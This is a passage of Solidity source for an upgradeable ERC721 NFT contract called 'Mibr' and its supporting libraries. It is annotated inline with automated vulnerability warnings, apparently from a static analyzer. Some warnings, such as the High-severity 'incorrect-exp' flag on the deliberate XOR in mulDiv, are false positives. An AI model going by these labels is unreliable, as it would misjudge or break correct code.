IBeaconUpgradeable(newBeacon).implementation()\n ),\n \"ERC1967: beacon implementation is not a contract\"\n );\n\n StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8871d4d): ERC1967UpgradeUpgradeable._upgradeBeaconToAndCall(address,bytes,bool) ignores return value by AddressUpgradeable.functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(),data)\n\t// Recommendation for 8871d4d: Ensure that all the return values of the function calls are used.\n function _upgradeBeaconToAndCall(\n address newBeacon,\n bytes memory data,\n bool forceCall\n ) internal {\n _setBeacon(newBeacon);\n\n emit BeaconUpgraded(newBeacon);\n\n if (data.length > 0 || forceCall) {\n\t\t\t// unused-return | ID: 8871d4d\n AddressUpgradeable.functionDelegateCall(\n IBeaconUpgradeable(newBeacon).implementation(),\n data\n );\n }\n }\n\n uint256[50] private __gap;\n}\n\nabstract contract UUPSUpgradeable is\n Initializable,\n IERC1822ProxiableUpgradeable,\n ERC1967UpgradeUpgradeable\n{\n function __UUPSUpgradeable_init() internal onlyInitializing {}\n\n function __UUPSUpgradeable_init_unchained() internal onlyInitializing {}\n\n address private immutable __self = address(this);\n\n modifier onlyProxy() {\n require(\n address(this) != __self,\n \"Function must be called through delegatecall\"\n );\n\n require(\n _getImplementation() == __self,\n \"Function must be called through active proxy\"\n );\n\n _;\n }\n\n modifier notDelegated() {\n require(\n address(this) == __self,\n \"UUPSUpgradeable: must not be called through delegatecall\"\n );\n\n _;\n }\n\n function proxiableUUID()\n external\n view\n virtual\n override\n notDelegated\n returns (bytes32)\n {\n return _IMPLEMENTATION_SLOT;\n }\n\n function upgradeTo(address newImplementation) public virtual onlyProxy {\n _authorizeUpgrade(newImplementation);\n\n _upgradeToAndCallUUPS(newImplementation, new bytes(0), false);\n }\n\n function upgradeToAndCall(\n address newImplementation,\n bytes memory data\n ) public payable virtual onlyProxy {\n _authorizeUpgrade(newImplementation);\n\n _upgradeToAndCallUUPS(newImplementation, data, true);\n }\n\n function _authorizeUpgrade(address newImplementation) internal virtual;\n\n uint256[50] private __gap;\n}\n\ninterface IERC721MetadataUpgradeable is IERC721Upgradeable {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n\ninterface IERC721ReceiverUpgradeable {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n\nabstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {\n function __ERC165_init() internal onlyInitializing {}\n\n function __ERC165_init_unchained() internal onlyInitializing {}\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return interfaceId == type(IERC165Upgradeable).interfaceId;\n }\n\n uint256[50] private __gap;\n}\n\nlibrary MathUpgradeable {\n enum Rounding {\n Down,\n Up,\n Zero\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 082e739): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for 082e739: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4320d37): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 4320d37: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: cf9a96d): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for cf9a96d: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 693ae07): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 693ae07: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b971b27): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for b971b27: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 7a0d34a): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for 7a0d34a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 643c03b): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 643c03b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: fb1fade): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for fb1fade: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: 92fd151): MathUpgradeable.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for 92fd151: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod0 := mul(x, y)\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (~denominator + 1);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: 082e739\n\t\t\t\t// divide-before-multiply | ID: 4320d37\n\t\t\t\t// divide-before-multiply | ID: cf9a96d\n\t\t\t\t// divide-before-multiply | ID: 693ae07\n\t\t\t\t// divide-before-multiply | ID: b971b27\n\t\t\t\t// divide-before-multiply | ID: 643c03b\n\t\t\t\t// divide-before-multiply | ID: fb1fade\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: 7a0d34a\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: 082e739\n\t\t\t// incorrect-exp | ID: 92fd151\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: b971b27\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 643c03b\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 4320d37\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 693ae07\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: fb1fade\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: cf9a96d\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 7a0d34a\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n\n return result;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = 1 << (log2(a) >> 1);\n\n unchecked {\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n return min(result, a / result);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 128;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 64;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 32;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 16;\n }\n\n if (value >> 8 > 0) {\n value >>= 8;\n\n result += 8;\n }\n\n if (value >> 4 > 0) {\n value >>= 4;\n\n result += 4;\n }\n\n if (value >> 2 > 0) {\n value >>= 2;\n\n result += 2;\n }\n\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 16;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 8;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 4;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 2;\n }\n\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n\nlibrary SignedMathUpgradeable {\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n\nlibrary StringsUpgradeable {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = MathUpgradeable.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toString(int256 value) internal pure returns (string memory) {\n return\n string(\n abi.encodePacked(\n value < 0 ? \"-\" : \"\",\n toString(SignedMathUpgradeable.abs(value))\n )\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, MathUpgradeable.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n\n value >>= 4;\n }\n\n require(value == 0, \"Strings: hex length insufficient\");\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\ncontract ERC721Upgradeable is\n Initializable,\n ContextUpgradeable,\n ERC165Upgradeable,\n IERC721Upgradeable,\n IERC721MetadataUpgradeable\n{\n using AddressUpgradeable for address;\n\n using StringsUpgradeable for uint256;\n\n string private _name;\n\n string private _symbol;\n\n mapping(uint256 => address) private _owners;\n\n mapping(address => uint256) private _balances;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n function __ERC721_init(\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n __ERC721_init_unchained(name_, symbol_);\n }\n\n function __ERC721_init_unchained(\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n )\n public\n view\n virtual\n override(ERC165Upgradeable, IERC165Upgradeable)\n returns (bool)\n {\n return\n interfaceId == type(IERC721Upgradeable).interfaceId ||\n interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function balanceOf(\n address owner\n ) public view virtual override returns (uint256) {\n require(\n owner != address(0),\n \"ERC721: address zero is not a valid owner\"\n );\n\n return _balances[owner];\n }\n\n function ownerOf(\n uint256 tokenId\n ) public view virtual override returns (address) {\n address owner = _ownerOf(tokenId);\n\n require(owner != address(0), \"ERC721: invalid token ID\");\n\n return owner;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n\n return\n bytes(baseURI).length > 0\n ? string(abi.encodePacked(baseURI, tokenId.toString()))\n : \"\";\n }\n\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner or approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: caller is not token owner or approved\"\n );\n\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: caller is not token owner or approved\"\n );\n\n _safeTransfer(from, to, tokenId, data);\n }\n\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n\n require(\n _checkOnERC721Received(from, to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _ownerOf(uint256 tokenId) internal view virtual returns (address) {\n return _owners[tokenId];\n }\n\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _ownerOf(tokenId) != address(0);\n }\n\n function _isApprovedOrOwner(\n address spender,\n uint256 tokenId\n ) internal view virtual returns (bool) {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n\n return (spender == owner ||\n isApprovedForAll(owner, spender) ||\n getApproved(tokenId) == spender);\n }\n\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId, 1);\n\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n unchecked {\n _balances[to] += 1;\n }\n\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId, 1);\n }\n\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId, 1);\n\n owner = ERC721Upgradeable.ownerOf(tokenId);\n\n delete _tokenApprovals[tokenId];\n\n unchecked {\n _balances[owner] -= 1;\n }\n\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId, 1);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(\n ERC721Upgradeable.ownerOf(tokenId) == from,\n \"ERC721: transfer from incorrect owner\"\n );\n\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId, 1);\n\n require(\n ERC721Upgradeable.ownerOf(tokenId) == from,\n \"ERC721: transfer from incorrect owner\"\n );\n\n delete _tokenApprovals[tokenId];\n\n unchecked {\n _balances[from] -= 1;\n\n _balances[to] += 1;\n }\n\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId, 1);\n }\n\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n\n emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);\n }\n\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n\n _operatorApprovals[owner][operator] = approved;\n\n emit ApprovalForAll(owner, operator, approved);\n }\n\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n\t\t\t// reentrancy-events | ID: cca6a6c\n\t\t\t// reentrancy-benign | ID: 314cae4\n try\n IERC721ReceiverUpgradeable(to).onERC721Received(\n _msgSender(),\n from,\n tokenId,\n data\n )\n returns (bytes4 retval) {\n return\n retval ==\n IERC721ReceiverUpgradeable.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 firstTokenId,\n uint256 batchSize\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 firstTokenId,\n uint256 batchSize\n ) internal virtual {}\n\n function __unsafe_increaseBalance(\n address account,\n uint256 amount\n ) internal {\n _balances[account] += amount;\n }\n\n uint256[44] private __gap;\n}\n\nabstract contract ERC721URIStorageUpgradeable is\n Initializable,\n IERC4906Upgradeable,\n ERC721Upgradeable\n{\n function __ERC721URIStorage_init() internal onlyInitializing {}\n\n function __ERC721URIStorage_init_unchained() internal onlyInitializing {}\n\n using StringsUpgradeable for uint256;\n\n mapping(uint256 => string) private _tokenURIs;\n\n function supportsInterface(\n bytes4 interfaceId\n )\n public\n view\n virtual\n override(ERC721Upgradeable, IERC165Upgradeable)\n returns (bool)\n {\n return\n interfaceId == bytes4(0x49064906) ||\n super.supportsInterface(interfaceId);\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory _tokenURI = _tokenURIs[tokenId];\n\n string memory base = _baseURI();\n\n if (bytes(base).length == 0) {\n return _tokenURI;\n }\n\n if (bytes(_tokenURI).length > 0) {\n return string(abi.encodePacked(base, _tokenURI));\n }\n\n return super.tokenURI(tokenId);\n }\n\n function _setTokenURI(\n uint256 tokenId,\n string memory _tokenURI\n ) internal virtual {\n require(\n _exists(tokenId),\n \"ERC721URIStorage: URI set of nonexistent token\"\n );\n\n\t\t// reentrancy-benign | ID: 314cae4\n _tokenURIs[tokenId] = _tokenURI;\n\n\t\t// reentrancy-events | ID: cca6a6c\n emit MetadataUpdate(tokenId);\n }\n\n function _burn(uint256 tokenId) internal virtual override {\n super._burn(tokenId);\n\n if (bytes(_tokenURIs[tokenId]).length != 0) {\n delete _tokenURIs[tokenId];\n }\n }\n\n uint256[49] private __gap;\n}\n\nlibrary EnumerableSetUpgradeable {\n struct Set {\n bytes32[] _values;\n mapping(bytes32 => uint256) _indexes;\n }\n\n function _add(Set storage set, bytes32 value) private returns (bool) {\n if (!_contains(set, value)) {\n set._values.push(value);\n\n set._indexes[value] = set._values.length;\n\n return true;\n } else {\n return false;\n }\n }\n\n function _remove(Set storage set, bytes32 value) private returns (bool) {\n uint256 valueIndex = set._indexes[value];\n\n if (valueIndex != 0) {\n uint256 toDeleteIndex = valueIndex - 1;\n\n uint256 lastIndex = set._values.length - 1;\n\n if (lastIndex != toDeleteIndex) {\n bytes32 lastValue = set._values[lastIndex];\n\n set._values[toDeleteIndex] = lastValue;\n\n set._indexes[lastValue] = valueIndex;\n }\n\n set._values.pop();\n\n delete set._indexes[value];\n\n return true;\n } else {\n return false;\n }\n }\n\n function _contains(\n Set storage set,\n bytes32 value\n ) private view returns (bool) {\n return set._indexes[value] != 0;\n }\n\n function _length(Set storage set) private view returns (uint256) {\n return set._values.length;\n }\n\n function _at(\n Set storage set,\n uint256 index\n ) private view returns (bytes32) {\n return set._values[index];\n }\n\n function _values(Set storage set) private view returns (bytes32[] memory) {\n return set._values;\n }\n\n struct Bytes32Set {\n Set _inner;\n }\n\n function add(\n Bytes32Set storage set,\n bytes32 value\n ) internal returns (bool) {\n return _add(set._inner, value);\n }\n\n function remove(\n Bytes32Set storage set,\n bytes32 value\n ) internal returns (bool) {\n return _remove(set._inner, value);\n }\n\n function contains(\n Bytes32Set storage set,\n bytes32 value\n ) internal view returns (bool) {\n return _contains(set._inner, value);\n }\n\n function length(Bytes32Set storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n function at(\n Bytes32Set storage set,\n uint256 index\n ) internal view returns (bytes32) {\n return _at(set._inner, index);\n }\n\n function values(\n Bytes32Set storage set\n ) internal view returns (bytes32[] memory) {\n bytes32[] memory store = _values(set._inner);\n\n bytes32[] memory result;\n\n assembly {\n result := store\n }\n\n return result;\n }\n\n struct AddressSet {\n Set _inner;\n }\n\n function add(\n AddressSet storage set,\n address value\n ) internal returns (bool) {\n return _add(set._inner, bytes32(uint256(uint160(value))));\n }\n\n function remove(\n AddressSet storage set,\n address value\n ) internal returns (bool) {\n return _remove(set._inner, bytes32(uint256(uint160(value))));\n }\n\n function contains(\n AddressSet storage set,\n address value\n ) internal view returns (bool) {\n return _contains(set._inner, bytes32(uint256(uint160(value))));\n }\n\n function length(AddressSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n function at(\n AddressSet storage set,\n uint256 index\n ) internal view returns (address) {\n return address(uint160(uint256(_at(set._inner, index))));\n }\n\n function values(\n AddressSet storage set\n ) internal view returns (address[] memory) {\n bytes32[] memory store = _values(set._inner);\n\n address[] memory result;\n\n assembly {\n result := store\n }\n\n return result;\n }\n\n struct UintSet {\n Set _inner;\n }\n\n function add(UintSet storage set, uint256 value) internal returns (bool) {\n return _add(set._inner, bytes32(value));\n }\n\n function remove(\n UintSet storage set,\n uint256 value\n ) internal returns (bool) {\n return _remove(set._inner, bytes32(value));\n }\n\n function contains(\n UintSet storage set,\n uint256 value\n ) internal view returns (bool) {\n return _contains(set._inner, bytes32(value));\n }\n\n function length(UintSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n function at(\n UintSet storage set,\n uint256 index\n ) internal view returns (uint256) {\n return uint256(_at(set._inner, index));\n }\n\n function values(\n UintSet storage set\n ) internal view returns (uint256[] memory) {\n bytes32[] memory store = _values(set._inner);\n\n uint256[] memory result;\n\n assembly {\n result := store\n }\n\n return result;\n }\n}\n\ncontract Mibr is\n ERC721URIStorageUpgradeable,\n OwnableUpgradeable,\n UUPSUpgradeable\n{\n using EnumerableSetUpgradeable for EnumerableSetUpgradeable.UintSet;\n\n using StringsUpgradeable for uint256;\n\n struct MintInfo {\n uint256 totalSupply;\n uint256 currentMinted;\n string tokenUri;\n }\n\n uint256 private constant NFT_TYPES = 128;\n\n uint256 private constant NFT_SWITCH_INDEX = 64;\n\n address public minter;\n\n uint256 public currentSupply;\n\n uint256 public maxSupply;\n\n uint256 private _nextTokenId;\n\n uint256 private _switchTime;\n\n uint256[2] private _currentSupplyPhase;\n\n uint256[2] private _maxSupplyPhase;\n\n string private baseURI;\n\n MintInfo[] private mintInfos;\n\n EnumerableSetUpgradeable.UintSet private typeSet1;\n\n EnumerableSetUpgradeable.UintSet private typeSet2;\n\n modifier onlyMinter() {\n require(_msgSender() == minter, \"Restricted to minter\");\n\n _;\n }\n\n constructor() {\n _disableInitializers();\n }\n\n function _authorizeUpgrade(address) internal override onlyOwner {}\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 3b90478): Mibr.initialize(uint256,string,string,string,address,uint256[]).minter_ lacks a zerocheck on \t minter = minter_\n\t// Recommendation for 3b90478: Check that the address is not zero.\n function initialize(\n uint256 switchTime_,\n string memory name_,\n string memory symbol_,\n string memory baseUrl_,\n address minter_,\n uint256[] calldata supply_\n ) public initializer {\n __ERC721_init(name_, symbol_);\n\n __Ownable_init();\n\n __UUPSUpgradeable_init();\n\n _switchTime = switchTime_;\n\n baseURI = baseUrl_;\n\n\t\t// missing-zero-check | ID: 3b90478\n minter = minter_;\n\n _setInitSupply(supply_);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c8c835b): Mibr.setMinter(address).minter_ lacks a zerocheck on \t minter = minter_\n\t// Recommendation for c8c835b: Check that the address is not zero.\n\t// WARNING Vulnerability (events-access | severity: Low | ID: 20d55b7): Mibr.setMinter(address) should emit an event for minter = minter_ \n\t// Recommendation for 20d55b7: Emit an event for critical parameter changes.\n function setMinter(address minter_) external onlyOwner {\n\t\t// missing-zero-check | ID: c8c835b\n\t\t// events-access | ID: 20d55b7\n minter = minter_;\n }\n\n function setBaseUrl(string memory uri) external onlyOwner {\n baseURI = uri;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4b7cc79): Mibr.setSwitchTime(uint256) should emit an event for _switchTime = switchTime_ \n\t// Recommendation for 4b7cc79: Emit an event for critical parameter changes.\n function setSwitchTime(uint256 switchTime_) external onlyOwner {\n\t\t// events-maths | ID: 4b7cc79\n _switchTime = switchTime_;\n }\n\n function setTokenUri(\n uint256 nftType,\n string memory uri\n ) external onlyOwner {\n require(nftType < NFT_TYPES, \"invalid nft type\");\n\n mintInfos[nftType].tokenUri = uri;\n }\n\n function mint(address to) external onlyMinter returns (uint256) {\n return _mint(to);\n }\n\n function getTypeMintInfo(\n uint256 nftType\n ) public view returns (MintInfo memory) {\n require(nftType < NFT_TYPES, \"invalid nft type\");\n\n return mintInfos[nftType];\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8e5ab31): Mibr._mint(address) uses timestamp for comparisons Dangerous comparisons block.timestamp < _switchTime\n\t// Recommendation for 8e5ab31: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cca6a6c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cca6a6c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 314cae4): Reentrancy bug (see 